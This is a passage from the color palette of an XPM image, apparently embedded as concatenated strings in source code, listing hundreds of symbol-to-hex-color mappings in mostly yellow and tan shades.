+"// c #D8DA83", +"(/ c #E3E484", +"_/ c #ECEA86", +":/ c #EBE988", +"( c #FFE258", +",( c #FBFF6B", +"'( c #F8FE66", +")( c #F8FE68", +"!( c #FAFF6D", +"~( c #F6FC6F", +"{( c #EDF271", +"]( c #E1E572", +"^( c #C9CE74", +"/( c #D4D376", +"(( c #FFFF77", +"_( c #D6D479", +":( c #AAAF7B", +"<( c #B2B67C", +"[( c #C6C87E", +"}( c #F1EF80", +"|( c #FFFC83", +"1( c #FCF584", +"2( c #F6F186", +"3( c #F8F487", +"4( c #D9DD8B", +"5( c #E2E78C", +"6( c #A5A369", +"7( c #CDBBAE", +"8( c #F9EBD4", +"9( c #F0E4D1", +"0( c #F0E5D2", +"a( c #F6E7D2", +"b( c #FFF3DA", +"c( c #555148", +"d( c #3E412C", +"e( c #AEAA67", +"f( c #FBF38C", +"g( c #EDEC9C", +"h( c #CFD09C", +"i( c #C4C89C", +"j( c #D6D99C", +"k( c #F9F69D", +"l( c #F7F49E", +"m( c #DEE19E", +"n( c #DADF9E", +"o( c #898E59", +"p( c #9D908D", +"q( c #FFFFEE", +"r( c #EDDFCA", +"s( c #FFF2DC", +"t( c #FFFFED", +"u( c #F6ECD6", +"v( c #51493F", +"w( c #32341C", +"x( c #767653", +"y( c #A3A16D", +"z( c #DCD891", +"A( c #EBE7A1", +"B( c #F2EDA2", +"C( c #F3ED9F", +"D( c #F5EE9E", +"E( c #F7EF9E", +"F( c #F7EE9D", +"G( c #F6ED9C", +"H( c #F3E99C", +"I( c #EFE49B", +"J( c #EBE09A", +"K( c #E3D79A", +"L( c #F4EC99", +"M( c #EBE298", +"N( c #D8CC96", +"O( c #FDEFAA", +"P( c #9D9569", +"Q( c #978870", +"R( c #FEE6BF", +"S( c #E5D1B0", +"T( c #E4CEAA", +"U( c #F3D6A5", +"V( c #B79E75", +"W( c #423C29", +"X( c #645C3E", +"Y( c #8E7F60", +"Z( c #EAE282", +"`( c #F5E98A", +" _ c #D0B886", +"._ c #D8C084", +"+_ c #D3BC83", +"@_ c #CAB481", +"#_ c #AC9980", +"$_ c #E3D97E", +"%_ c #F6EE7B", +"&_ c #B6A279", +"*_ c #BDA478", +"=_ c #CFB176", +"-_ c #CFA874", +";_ c #E3C773", +">_ c #F6EA71", +",_ c #D5B66F", +"'_ c #CEA86D", +")_ c #D4B470", +"!_ c #F7DF69", +"~_ c #D18127", +"{_ c #703412", +"]_ c #612D19", +"^_ c #CC671E", +"/_ c #FFE257", +"(_ c #FBFF6A", +"__ c #F8FE64", +":_ c #F8FE6A", +"<_ c #F9FF6B", +"[_ c #F5FB6C", +"}_ c #EAEE6E", +"|_ c #DBE070", +"1_ c #C1C672", +"2_ c #E7E373", +"3_ c #FFFF75", +"4_ c #B3B677", +"5_ c #A1A679", +"6_ c #D6D57A", +"7_ c #FFFD7C", +"8_ c #FCF97E", +"9_ c #E8E77F", +"0_ c #DBDC81", +"a_ c #D3D682", +"b_ c #D2D684", +"c_ c #D5D985", +"d_ c #E6E786", +"e_ c #F8F589", +"f_ c #DEE18B", +"g_ c #E4ED86", +"h_ c #A4A170", +"i_ c #DECCC1", +"j_ c #F5E9D5", +"k_ c #F0E5D4", +"l_ c #A09689", +"m_ c #3D3D1C", +"n_ c #A09B56", +"o_ c #BEBD7C", +"p_ c #C4C897", +"q_ c #D0D39B", +"r_ c #D9DB9A", +"s_ c #D4D89A", +"t_ c #CCD29B", +"u_ c #F0EF9B", +"v_ c #FFFC99", +"w_ c #FFFFB0", +"x_ c #B2B572", +"y_ c #7F7671", +"z_ c #FFF8E9", +"A_ c #F8ECD6", +"B_ c #E1D3C3", +"C_ c #AEA495", +"D_ c #AEA498", +"E_ c #BBB2A8", +"F_ c #AEA89C", +"G_ c #5B5547", +"H_ c #404225", +"I_ c #7E7D54", +"J_ c #9A996A", +"K_ c #D1CE8B", +"L_ c #F4EF9D", +"M_ c #EDE89F", +"N_ c #EEE99D", +"O_ c #F4ED9C", +"P_ c #F7EE9B", +"Q_ c #F5EB9A", +"R_ c #F2E799", +"S_ c #EEE399", +"T_ c #E8DD98", +"U_ c #E7DC97", +"V_ c #F5ED96", +"W_ c #E0D695", +"X_ c #E0D497", +"Y_ c #E3D794", +"Z_ c #867C5C", +"`_ c #D6BFA0", +" : c #EDD8B7", +".: c #E7D3B2", +"+: c #E5CFAB", +"@: c #F8DBA8", +"#: c #AE966F", +"$: c #3B3624", +"%: c #685E3F", +"&: c #908160", +"*: c #EBE380", +"=: c #F4E887", +"-: c #CDB584", +";: c #D3BC82", +">: c #CCB681", +",: c #BCA87F", +"': c #B3A27D", +"): c #F7F07C", +"!: c #FFFF7B", +"~: c #E4DA79", +"{: c #AB9477", +"]: c #C4A976", +"^: c #CEAE74", +"/: c #D3AF73", +"(: c #F4E670", +"_: c #D6BA6F", +":: c #C0986D", +"<: c #C49D6B", +"[: c #D8BD6E", +"}: c #F6DD68", +"|: c #C77426", +"1: c #6F3513", +"2: c #FFE256", +"3: c #FBFF67", +"4: c #F8FE62", +"5: c #F8FF69", +"6: c #F3F96B", +"7: c #E7EC6D", +"8: c #D6DB6F", +"9: c #C1C570", +"0: c #FAF372", +"a: c #F5EC74", +"b: c #A2A575", +"c: c #E4E177", +"d: c #FFFF78", +"e: c #E4E37A", +"f: c #CBCE7B", +"g: c #CDD27D", +"h: c #D5D97E", +"i: c #DCE07F", +"j: c #DEE281", +"k: c #DBDF82", +"l: c #D2D784", +"m: c #FDF887", +"n: c #FBF98C", +"o: c #BFC772", +"p: c #8F896C", +"q: c #F6E4D4", +"r: c #F3E8D6", +"s: c #F4EADB", +"t: c #F4EBDC", +"u: c #F3E9D9", +"v: c #FFFAE5", +"w: c #CDC1B1", +"x: c #4A4729", +"y: c #717043", +"z: c #8C8F6C", +"A: c #C9CC90", +"B: c #DEE199", +"C: c #DCE097", +"D: c #D6DB98", +"E: c #DFE098", +"F: c #EBE997", +"G: c #F7F6A6", +"H: c #D1D485", +"I: c #7B755A", +"J: c #E9E1DB", +"K: c #FFFDE7", +"L: c #FFFFF1", +"M: c #A7A195", +"N: c #3C3C2D", +"O: c #363720", +"P: c #545333", +"Q: c #5E5F45", +"R: c #636341", +"S: c #868754", +"T: c #A9A770", +"U: c #B1B075", +"V: c #EAE59A", +"W: c #F8F39D", +"X: c #EBE59B", +"Y: c #EDE79B", +"Z: c #F1EA9A", +"`: c #F4EC9A", +" < c #F7ED99", +".< c #F7EC98", +"+< c #F4E998", +"@< c #F0E597", +"#< c #ECE196", +"$< c #E3D695", +"%< c #EEE494", +"&< c #F4ED94", +"*< c #D7CA91", +"=< c #FFF0A7", +"-< c #928A5D", +";< c #8B7B67", +">< c #FFECC5", +",< c #E6D3B4", +"'< c #E8D4B5", +")< c #FFE0AC", +"!< c #8A7859", +"~< c #302D1D", +"{< c #6E6342", +"]< c #968562", +"^< c #EFE780", +"/< c #F7EC85", +"(< c #C9B282", +"_< c #CCB680", +":< c #C5B17E", +"<< c #A8947D", +"[< c #CBBE7C", +"}< c #FFFF7A", +"|< c #FFFF79", +"1< c #C7B877", +"2< c #AF9575", +"3< c #CAAC74", +"4< c #CEAA72", +"5< c #E0C371", +"6< c #F3E56F", +"7< c #C19B6D", +"8< c #C3A06B", +"9< c #C09B69", +"0< c #DAC36C", +"a< c #DEB765", +"b< c #BB6625", +"c< c #6F3712", +"d< c #FFE254", +"e< c #FAFF65", +"f< c #F8FE60", +"g< c #F9FE65", +"h< c #F8FF67", +"i< c #F2F969", +"j< c #E5EB6B", +"k< c #D4DA6D", +"l< c #C4C86E", +"m< c #F9F170", +"n< c #F3EE72", +"o< c #EFEB73", +"p< c #FDF775", +"q< c #C8CB76", +"r< c #C2C778", +"s< c #D7DC79", +"t< c #E0E47B", +"u< c #E4E87C", +"v< c #E6EA7D", +"w< c #E6EB7F", +"x< c #E4E980", +"y< c #E1E582", +"z< c #D5DB83", +"A< c #D7DA84", +"B< c #FFFF90", +"C< c #B8B85E", +"D< c #827C6E", +"E< c #F4EBDD", +"F< c #F5ECDE", +"G< c #F4EADC", +"H< c #FFF6E1", +"I< c #D9CCBB", +"J< c #424030", +"K< c #4B4D37", +"L< c #858862", +"M< c #C8CB89", +"N< c #E0E496", +"O< c #D9DE95", +"P< c #E3E595", +"Q< c #F6F295", +"R< c #DBDE99", +"S< c #DCE49D", +"T< c #6B6D4D", +"U< c #BDB2B0", +"V< c #FFFFF5", +"W< c #90897E", +"X< c #282915", +"Y< c #545635", +"Z< c #85865F", +"`< c #BEBC79", +" [ c #DBD98A", +".[ c #DEDD94", +"+[ c #DEDB90", +"@[ c #DAD78D", +"#[ c #E2DF91", +"$[ c #FBF7A4", +"%[ c #FFFFA6", +"&[ c #F6F19B", +"*[ c #FFFAA1", +"=[ c #FEF49C", +"-[ c #F7ED97", +";[ c #F3E896", +">[ c #EEE295", +",[ c #E9DE94", +"'[ c #E0D493", +")[ c #F4EC93", +"![ c #E7DE90", +"~[ c #F3E4A0", +"{[ c #C2B87A", +"][ c #6D624C", +"^[ c #EED6B3", +"/[ c #EEDBBB", +"([ c #E9D7B9", +"_[ c #E5CEAA", +":[ c #F9D9A5", +"<[ c #6B5E45", +"[[ c #35321F", +"}[ c #726645", +"|[ c #9C8A66", +"1[ c #F4EB80", +"2[ c #F7EC83", +"3[ c #C1AB80", +"4[ c #C3B07E", +"5[ c #B5A27C", +"6[ c #A7967B", +"7[ c #F2EB7A", +"8[ c #F6EE77", +"9[ c #B49F75", +"0[ c #BEA273", +"a[ c #D0AF72", +"b[ c #D5B070", +"c[ c #D2AB6F", +"d[ c #F9EC6D", +"e[ c #E0CB6B", +"f[ c #B2896A", +"g[ c #B89467", +"h[ c #B48D6A", +"i[ c #BE8B64", +"j[ c #BD6E24", +"k[ c #6C3612", +"l[ c #451922", +"m[ c #FFE253", +"n[ c #FAFF64", +"o[ c #F7FE5F", +"p[ c #F8FE61", +"q[ c #F9FE64", +"r[ c #F8FF65", +"s[ c #F2F967", +"t[ c #E7EC69", +"u[ c #D6DC6A", +"v[ c #CACE6C", +"w[ c #F5EE6E", +"x[ c #FFFF70", +"y[ c #F5F171", +"z[ c #BBBF73", +"A[ c #C1C674", +"B[ c #DADE76", +"C[ c #E4E977", +"D[ c #E9EE79", +"E[ c #ECF27A", +"F[ c #EFF47C", +"G[ c #EEF37D", +"H[ c #ECF07F", +"I[ c #E5EA7F", +"J[ c #DFE381", +"K[ c #CED482", +"L[ c #FFFE90", +"M[ c #C2BC59", +"N[ c #9F9487", +"O[ c #FFFEE9", +"P[ c #F3EADB", +"Q[ c #F5ECDF", +"R[ c #F5EDE0", +"S[ c #F5ECDD", +"T[ c #FFFBE6", +"U[ c #D4C8B5", +"V[ c #32312A", +"W[ c #494B38", +"X[ c #86885E", +"Y[ c #C6CA85", +"Z[ c #DDE293", +"`[ c #E0E493", +" } c #F7F393", +".} c #D4D791", +"+} c #F0F6A7", +"@} c #9A9B57", +"#} c #9B9089", +"$} c #FFFFF8", +"%} c #FFFFF6", +"&} c #9B9488", +"*} c #2B2E14", +"=} c #656743", +"-} c #82825C", +";} c #A9AA7B", +">} c #DFDD92", +",} c #F7F399", +"'} c #E7E69A", +")} c #EEEB98", +"!} c #F5F39D", +"~} c #FFFFA8", +"{} c #BDBC74", +"]} c #989463", +"^} c #A8A473", +"/} c #A19B72", +"(} c #9F9967", +"_} c #99955A", +":} c #D6CF7C", +"<} c #F5EA95", +"[} c #F1E694", +"}} c #ECE193", +"|} c #E3D692", +"1} c #E9DF91", +"2} c #F6EE8E", +"3} c #EFE19A", +"4} c #DFD38B", +"5} c #605940", +"6} c #C9B499", +"7} c #FFEBC6", +"8} c #E8D6BB", +"9} c #E9D2AA", +"0} c #E4C696", +"a} c #594F37", +"b} c #4C452A", +"c} c #776A48", +"d} c #A6946C", +"e} c #FCF580", +"f} c #ECE080", +"g} c #B6A17E", +"h} c #B9A87C", +"i} c #9B8A7A", +"j} c #CCBF79", +"k} c #FFFF76", +"l} c #D7C975", +"m} c #AE9473", +"n} c #CBAD72", +"o} c #D6B370", +"p} c #DCB56E", +"q} c #D1A76C", +"r} c #D7B86B", +"s} c #FDF669", +"t} c #E5D468", +"u} c #C4A866", +"v} c #C7AD68", +"w} c #E6CC62", +"x} c #BB7322", +"y} c #652E11", +"z} c #441822", +"A} c #FFE252", +"B} c #FAFF61", +"C} c #F7FE5D", +"D} c #F9FE62", +"E} c #F8FF64", +"F} c #F3F965", +"G} c #EAEF67", +"H} c #DDE369", +"I} c #CFD46B", +"J} c #FCF46C", +"K} c #F0EC6E", +"L} c #BEC36F", +"M} c #C8CE71", +"N} c #DBDF72", +"O} c #E5EA74", +"P} c #EEF375", +"Q} c #F2F777", +"R} c #F4F978", +"S} c #F3F87B", +"T} c #E7EB7E", +"U} c #D2D680", +"V} c #E9EC8A", +"W} c #ACA85F", +"X} c #C4B5A9", +"Y} c #FFF5E2", +"Z} c #F5EDE1", +"`} c #FFFFEC", +" | c #C3B8A7", +".| c #282820", +"+| c #50533D", +"@| c #85885E", +"#| c #C6CA84", +"$| c #D7DC91", +"%| c #F2F090", +"&| c #E4E48F", +"*| c #E6EDA2", +"=| c #CDCE6F", +"-| c #7E7561", +";| c #F5EEEA", +">| c #C9BFB5", +",| c #36371F", +"'| c #61643E", +")| c #787953", +"!| c #B6B577", +"~| c #D4D591", +"{| c #F4F097", +"]| c #F0EC96", +"^| c #E5E394", +"/| c #F5F29B", +"(| c #FFFD9D", +"_| c #99995E", +":| c #7E7668", +"<| c #B7ACA2", +"[| c #CDC0B3", +"}| c #CEBEAD", +"|| c #BEAF9D", +"1| c #93897B", +"2| c #746D56", +"3| c #8A854D", +"4| c #DED483", +"5| c #E6DA8D", +"6| c #E7DC90", +"7| c #DFD190", +"8| c #F4ED8D", +"9| c #FCF297", +"0| c #E8D991", +"a| c #655E3F", +"b| c #B19F88", +"c| c #FFF1CB", +"d| c #E7D7BC", +"e| c #EAD8BD", +"f| c #E6D2B2", +"g| c #FFE4B2", +"h| c #B09974", +"i| c #332E1E", +"j| c #655B39", +"k| c #7D6E50", +"l| c #BBAB72", +"m| c #D0C17D", +"n| c #AD9C7B", +"o| c #9B8B7A", +"p| c #A79878", +"q| c #FBF677", +"r| c #F9F274", +"s| c #B09B73", +"t| c #BEA171", +"u| c #D4B370", +"v| c #DDB76E", +"w| c #E1B76C", +"x| c #DEB56B", +"y| c #C99F69", +"z| c #C9A667", +"A| c #E8D966", +"B| c #FDF864", +"C| c #FFFF67", +"D| c #FFFC60", +"E| c #AF6921", +"F| c #5F2A10", +"G| c #4C201D", +"H| c #FFE251", +"I| c #FAFF5F", +"J| c #F7FE5B", +"K| c #F8FF62", +"L| c #F4FB64", +"M| c #EEF465", +"N| c #E6EC67", +"O| c #DBE169", +"P| c #E6E66A", +"Q| c #D6D86C", +"R| c #D1D76D", +"S| c #E0E46F", +"T| c #E6EB70", +"U| c #EEF472", +"V| c #F4F973", +"W| c #F4F975", +"X| c #F4F976", +"Y| c #F1F777", +"Z| c #EEF479", +"`| c #EAEF7A", +" 1 c #E3E87B", +".1 c #DBDE7D", +"+1 c #D3D67E", +"@1 c #C6CD78", +"#1 c #7C7959", +"$1 c #E0CFC1", +"%1 c #F9EEDD", +"&1 c #F5EDE2", +"*1 c #FFFFF4", +"=1 c #ABA191", +"-1 c #222517", +";1 c #9D9D63", +">1 c #C9CD85", +",1 c #DBDD8F", +"'1 c #EAE88D", +")1 c #D6DB94", +"!1 c #EDEE87", +"~1 c #7F794C", +"{1 c #D4CCCF", +"]1 c #FFFFF9", +"^1 c #F1EAE1", +"/1 c #5B5845", +"(1 c #4D5129", +"_1 c #74744C", +":1 c #B3B16B", +"<1 c #E5E28C", +"[1 c #F3EF93", +"}1 c #DDDC92", +"|1 c #EAE792", +"11 c #FFFF9C", +"21 c #919058", +"31 c #897E7A", +"41 c #FFF4DE", +"51 c #FFF5D6", +"61 c #F4E3C5", +"71 c #FBEACA", +"81 c #FFFCD8", +"91 c #70655B", +"01 c #5C5932", +"a1 c #B7AF6E", +"b1 c #CBBF81", +"c1 c #EDE48B", +"d1 c #FFFC95", +"e1 c #EBDD8F", +"f1 c #6D6643", +"g1 c #A89681", +"h1 c #FFF0CC", +"i1 c #E9D8BD", +"j1 c #EDDCC3", +"k1 c #EAD7BB", +"l1 c #E6D1AD", +"m1 c #FFE1AB", +"n1 c #6D5F46", +"o1 c #332F1B", +"p1 c #6F6340", +"q1 c #85745C", +"r1 c #DACE78", +"s1 c #FFFF7E", +"t1 c #B3A57A", +"u1 c #9D9078", +"v1 c #EFE976", +"w1 c #FFFF73", +"x1 c #C0AE72", +"y1 c #B09470", +"z1 c #D1B16F", +"A1 c #DCB66D", +"B1 c #E3BA6C", +"C1 c #E5B96A", +"D1 c #E2B769", +"E1 c #D9B067", +"F1 c #C69D66", +"G1 c #B28764", +"H1 c #C6A962", +"I1 c #FFFF65", +"J1 c #EED95E", +"K1 c #9E5420", +"L1 c #633010", +"M1 c #A24800", +"N1 c #CC671F", +"O1 c #FFE250", +"P1 c #F8FF5D", +"Q1 c #F7FE59", +"R1 c #F7FE5E", +"S1 c #F7FF60", +"T1 c #F5FC61", +"U1 c #F1F763", +"V1 c #EDF365", +"W1 c #E8EE67", +"X1 c #DDE468", +"Y1 c #DFE56A", +"Z1 c #E7EC6B", +"`1 c #EBF06C", +" 2 c #EEF46E", +".2 c #F1F76F", +"+2 c #F2F871", +"@2 c #F0F672", +"#2 c #EDF274", +"$2 c #E9EE75", +"%2 c #E6EA76", +"&2 c #E1E678", +"*2 c #D8DE79", +"=2 c #CDD27A", +"-2 c #CFD381", +";2 c #9DA560", +">2 c #88816A", +",2 c #FFF1DD", +"'2 c #F4EADA", +")2 c #F5ECE1", +"!2 c #7C7564", +"~2 c #393914", +"{2 c #7B7946", +"]2 c #B7B469", +"^2 c #EBE886", +"/2 c #FEFC8C", +"(2 c #E2E28A", +"_2 c #E2E997", +":2 c #92904A", +"<2 c #ABA0A0", +"[2 c #FFFFFB", +"}2 c #A49B8E", +"|2 c #353915", +"12 c #707146", +"22 c #9D9A5A", +"32 c #D1D080", +"42 c #D7D891", +"52 c #EFEC91", +"62 c #F5F08F", +"72 c #DFDD8E", +"82 c #AAAA60", +"92 c #807770", +"02 c #F1E1C5", +"a2 c #F0E1C6", +"b2 c #FFFFE7", +"c2 c #EDDEC4", +"d2 c #E8D9BE", +"e2 c #F8E7C6", +"f2 c #FFF7D5", +"g2 c #62584C", +"h2 c #4A4728", +"i2 c #B2AA68", +"j2 c #F2EA87", +"k2 c #F0E38C", +"l2 c #716844", +"m2 c #9F9180", +"n2 c #FFF3D0", +"o2 c #EDDDC4", +"p2 c #EDDDC5", +"q2 c #E4D1B3", +"r2 c #FFE9B7", +"s2 c #B8A17A", +"t2 c #2C2819", +"u2 c #615634", +"v2 c #756849", +"w2 c #948569", +"x2 c #FDF77B", +"y2 c #807578", +"z2 c #8C8077", +"A2 c #EBE575", +"B2 c #FFFF74", +"C2 c #CBBB72", +"D2 c #A78E70", +"E2 c #CAAB6E", +"F2 c #D9B46D", +"G2 c #E2B96B", +"H2 c #E8BB6A", +"I2 c #E8BA68", +"J2 c #E5B766", +"K2 c #DDB065", +"L2 c #D1A864", +"M2 c #C59E62", +"N2 c #AA8160", +"O2 c #F2E763", +"P2 c #EFD95C", +"Q2 c #9B5020", +"R2 c #643210", +"S2 c #FFE24F", +"T2 c #F8FF5C", +"U2 c #F6FE58", +"V2 c #F7FE5A", +"W2 c #F7FE5C", +"X2 c #F5FE60", +"Y2 c #F3FB61", +"Z2 c #F1F863", +"`2 c #EFF664", +" 3 c #EDF366", +".3 c #EDF368", +"+3 c #EEF569", +"@3 c #F0F66B", +"#3 c #F0F66C", +"$3 c #EFF56E", +"%3 c #ECF26F", +"&3 c #E8EE71", +"*3 c #E4E971", +"=3 c #DDE273", +"-3 c #D2D975", +";3 c #D0D676", +">3 c #D5D977", +",3 c #DADC78", +"'3 c #EDEF83", +")3 c #ABAB55", +"!3 c #AA9E8D", +"~3 c #F5EDE3", +"{3 c #FBF1E1", +"]3 c #FBEDDA", +"^3 c #524F41", +"/3 c #3D4020", +"(3 c #717349", +"_3 c #AAAE6E", +":3 c #D8DB86", +"<3 c #ECEC88", +"[3 c #FFFF97", +"}3 c #BDBD63", +"|3 c #847D72", +"13 c #FFFDF4", +"23 c #FFFBE8", +"33 c #EAE1D7", +"43 c #4F4E37", +"53 c #5A5D2F", +"63 c #82804B", +"73 c #BEBB70", +"83 c #D2D38A", +"93 c #DADA8F", +"03 c #EAE78D", +"a3 c #EFEB8D", +"b3 c #E3E18E", +"c3 c #EBEA88", +"d3 c #847F5F", +"e3 c #E3D2C7", +"f3 c #F9ECCF", +"g3 c #F2E6CC", +"h3 c #FBEED7", +"i3 c #A1988C", +"j3 c #C0B6AA", +"k3 c #FFF6E2", +"l3 c #F0E1CB", +"m3 c #FFF1D2", +"n3 c #E2CFB8", +"o3 c #3D3A27", +"p3 c #898544", +"q3 c #ADA35F", +"r3 c #67603E", +"s3 c #A39787", +"t3 c #FFF5D5", +"u3 c #EDDDC3", +"v3 c #ECDDC6", +"w3 c #EEDEC7", +"x3 c #ECDCC3", +"y3 c #E7D5B9", +"z3 c #F5DEB4", +"A3 c #F4D8A5", +"B3 c #4E4633", +"C3 c #3F3A20", +"D3 c #6F6441", +"E3 c #7C6D5B", +"F3 c #CCC173", +"G3 c #948A78", +"H3 c #897F76", +"I3 c #E9E475", +"J3 c #FFFF72", +"K3 c #D3C670", +"L3 c #A38A6F", +"M3 c #C4A66E", +"N3 c #D6B36C", +"O3 c #E1B86B", +"P3 c #E7BB69", +"Q3 c #EABB68", +"R3 c #EABB66", +"S3 c #E8B865", +"T3 c #E0B164", +"U3 c #D5A961", +"V3 c #CAA160", +"W3 c #B2875E", +"X3 c #E5D561", +"Y3 c #F2DE5B", +"Z3 c #A05421", +"`3 c #643110", +" 4 c #FFE24D", +".4 c #F8FF5A", +"+4 c #F6FE56", +"@4 c #F6FE59", +"#4 c #F6FD60", +"$4 c #F4FB63", +"%4 c #F3FA64", +"&4 c #F3FA66", +"*4 c #F0F769", +"=4 c #EDF46A", +"-4 c #E9F06B", +";4 c #E5EA6D", +">4 c #DCE26E", +",4 c #D0D770", +"'4 c #D3D871", +")4 c #E5E572", +"!4 c #F2EF74", +"~4 c #FEF775", +"{4 c #FEF776", +"]4 c #9B964A", +"^4 c #B1A4A0", +"/4 c #FFF8E3", +"(4 c #F5EBDD", +"_4 c #F6EEE1", +":4 c #F6EEE2", +"<4 c #F6EDE1", +"[4 c #FFF9E7", +"}4 c #E3D6C7", +"|4 c #444431", +"14 c #4D502C", +"24 c #81844F", +"34 c #BFC473", +"44 c #D8DE86", +"54 c #D3DA8A", +"64 c #E7EB80", +"74 c #888250", +"84 c #DBD2D1", +"94 c #FFFAE4", +"04 c #FFFFFA", +"a4 c #90887C", +"b4 c #333611", +"c4 c #6E7043", +"d4 c #A6A45D", +"e4 c #D6D47F", +"f4 c #D9D98C", +"g4 c #DDDB8B", +"h4 c #DDDA8A", +"i4 c #DEDB8A", +"j4 c #F8F595", +"k4 c #A8A65E", +"l4 c #A19889", +"m4 c #FFFFE6", +"n4 c #EBDBC1", +"o4 c #968E80", +"p4 c #141400", +"q4 c #2F2D17", +"r4 c #C1BAAF", +"s4 c #FEFBEC", +"t4 c #8D8472", +"u4 c #171600", +"v4 c #46412B", +"w4 c #B4AB9E", +"x4 c #FFFBE0", +"y4 c #EFE0C8", +"z4 c #ECDEC8", +"A4 c #EDDDC6", +"B4 c #E8D7BC", +"C4 c #F2DCB7", +"D4 c #FFE9B6", +"E4 c #6A5D48", +"F4 c #2C2814", +"G4 c #6C613C", +"H4 c #776A50", +"I4 c #A1946B", +"J4 c #D5CE78", +"K4 c #A19875", +"L4 c #FAF673", +"M4 c #FFFF71", +"N4 c #D6CA70", +"O4 c #A58D6F", +"P4 c #C1A46D", +"Q4 c #D3B16C", +"R4 c #DFB76A", +"S4 c #E6BB69", +"T4 c #EABC67", +"U4 c #EBBB66", +"V4 c #EBBB65", +"W4 c #EAB863", +"X4 c #E3B162", +"Y4 c #D7A960", +"Z4 c #CDA25E", +"`4 c #B6895D", +" 5 c #E7D65F", +".5 c #F4E059", +"+5 c #A55721", +"@5 c #663211", +"#5 c #FFE24C", +"$5 c #F8FF57", +"%5 c #F6FE54", +"&5 c #F6FE57", +"*5 c #F6FE5B", +"=5 c #F6FE5E", +"-5 c #F6FE61", +";5 c #F4FC62", +">5 c #F0F665", +",5 c #EBF267", +"'5 c #E7ED68", +")5 c #E0E669", +"!5 c #D3DA6B", +"~5 c #D0D66C", +"{5 c #E8E76D", +"]5 c #FCF86F", +"^5 c #FFF870", +"/5 c #EEEB71", +"(5 c #DFE072", +"_5 c #D4D774", +":5 c #CFD66D", +"<5 c #85825A", +"[5 c #DFCDC1", +"}5 c #F9EDDB", +"|5 c #F6EFE2", +"15 c #BDB2A3", +"25 c #36371B", +"35 c #666937", +"45 c #979B55", +"55 c #D3D777", +"65 c #E4EB82", +"75 c #FDFF92", +"85 c #828849", +"95 c #9D9294", +"05 c #FFFFF2", +"a5 c #FDF8E5", +"b5 c #E3D7CB", +"c5 c #424128", +"d5 c #5C5E2E", +"e5 c #7D7F4C", +"f5 c #C7C570", +"g5 c #EEEA86", +"h5 c #D7D789", +"i5 c #DBD988", +"j5 c #DCDA88", +"k5 c #E0DD87", +"l5 c #FFFB95", +"m5 c #8E8C55", +"n5 c #A99E96", +"o5 c #FFFADD", +"p5 c #FCF3D9", +"q5 c #D1C5B7", +"r5 c #363521", +"s5 c #636033", +"t5 c #635F29", +"u5 c #8C856E", +"v5 c #FFFEF4", +"w5 c #F4E9DA", +"x5 c #FFFAE7", +"y5 c #D7CCBB", +"z5 c #48443D", +"A5 c #CCC0B3", +"B5 c #EFE1CC", +"C5 c #EEDFCC", +"D5 c #EDDEC6", +"E5 c #E7D7BD", +"F5 c #F5E0BB", +"G5 c #FFE8B7", +"H5 c #756750", +"I5 c #292512", +"J5 c #675C36", +"K5 c #7F724C", +"L5 c #8B7B65", +"M5 c #DDD375", +"N5 c #EAE175", +"O5 c #F7F070", +"P5 c #CDBF6F", +"Q5 c #A48C6E", +"R5 c #C1A46C", +"S5 c #D4B26B", +"T5 c #DDB66A", +"U5 c #E5BA68", +"V5 c #E9BC67", +"W5 c #EABC66", +"X5 c #EBBB64", +"Y5 c #EBB962", +"Z5 c #E9B661", +"`5 c #E2B15F", +" 6 c #D8AA5E", +".6 c #CEA25C", +"+6 c #B8885A", +"@6 c #EFE05D", +"#6 c #EFD657", +"$6 c #AA5823", +"%6 c #693412", +"&6 c #FFE24B", +"*6 c #F7FF55", +"=6 c #F6FE52", +"-6 c #F6FE55", +";6 c #F6FE5A", +">6 c #F6FE5C", +",6 c #F6FE5D", +"'6 c #F5FD5E", +")6 c #F2FA60", +"!6 c #EEF562", +"~6 c #E8F063", +"{6 c #E3EA65", +"]6 c #D9E066", +"^6 c #CBD467", +"/6 c #DDE068", +"(6 c #FAF56A", +"_6 c #FAF56B", +":6 c #E5E66C", +"<6 c #D2D66E", +"[6 c #CBD26F", +"}6 c #CFD670", +"|6 c #DDE576", +"16 c #B4BD55", +"26 c #9F9776", +"36 c #FFF2DF", +"46 c #F1E7D7", +"56 c #F5ECE0", +"66 c #F4ECDE", +"76 c #8A8376", +"86 c #2B2F0B", +"96 c #767A3F", +"06 c #ACB15B", +"a6 c #E1E878", +"b6 c #FDFF8E", +"c6 c #C3CB5F", +"d6 c #7A7464", +"e6 c #FCF4EB", +"f6 c #F7EBD4", +"g6 c #857F71", +"h6 c #31340E", +"i6 c #737442", +"j6 c #A1A25D", +"k6 c #D5D57C", +"l6 c #FBF686", +"m6 c #EDE886", +"n6 c #DAD784", +"o6 c #D9D685", +"p6 c #DAD785", +"q6 c #F8F390", +"r6 c #8D8A56", +"s6 c #AFA399", +"t6 c #FFF5D9", +"u6 c #FFFFEB", +"v6 c #948C81", +"w6 c #212108", +"x6 c #807B4A", +"y6 c #827D39", +"z6 c #928B70", +"A6 c #FFFBF6", +"B6 c #F6EDDF", +"C6 c #F4E9DC", +"D6 c #FFF7E8", +"E6 c #FFFCEB", +"F6 c #EFE2D1", +"G6 c #F0E3D1", +"H6 c #EFE1CD", +"I6 c #FAE5BF", +"J6 c #FFE6B7", +"K6 c #6E624C", +"L6 c #26230F", +"M6 c #675B34", +"N6 c #87794B", +"O6 c #958263", +"P6 c #BEAF73", +"Q6 c #FFFB74", +"R6 c #E3DC6F", +"S6 c #B4A46E", +"T6 c #A9906D", +"U6 c #C4A76B", +"V6 c #D5B46A", +"W6 c #DEB769", +"X6 c #E5BA67", +"Y6 c #E9BD66", +"Z6 c #EABD64", +"`6 c #EBBA63", +" 7 c #EBBA62", +".7 c #EAB760", +"+7 c #E7B35F", +"@7 c #DFAE5D", +"#7 c #D5A75C", +"$7 c #C89A5A", +"%7 c #BF9359", +"&7 c #FBF35A", +"*7 c #DEB956", +"=7 c #B15D23", +"-7 c #6C3613", +";7 c #FFE249", +">7 c #F7FF53", +",7 c #F5FE51", +"'7 c #F5FE59", +")7 c #F3FC5B", +"!7 c #F1F95D", +"~7 c #ECF45E", +"{7 c #E6ED60", +"]7 c #E0E661", +"^7 c #D1DA63", +"/7 c #CCD364", +"(7 c #EDEB65", +"_7 c #FFFA67", +":7 c #E7E768", +"<7 c #CDD369", +"[7 c #CCD46A", +"}7 c #D6DD6B", +"|7 c #DDE36D", +"17 c #E0E66E", +"27 c #FCFF7B", +"37 c #99A044", +"47 c #998D81", +"57 c #F3E9DA", +"67 c #F6EDE0", +"77 c #FFFDEB", +"87 c #726D5B", +"97 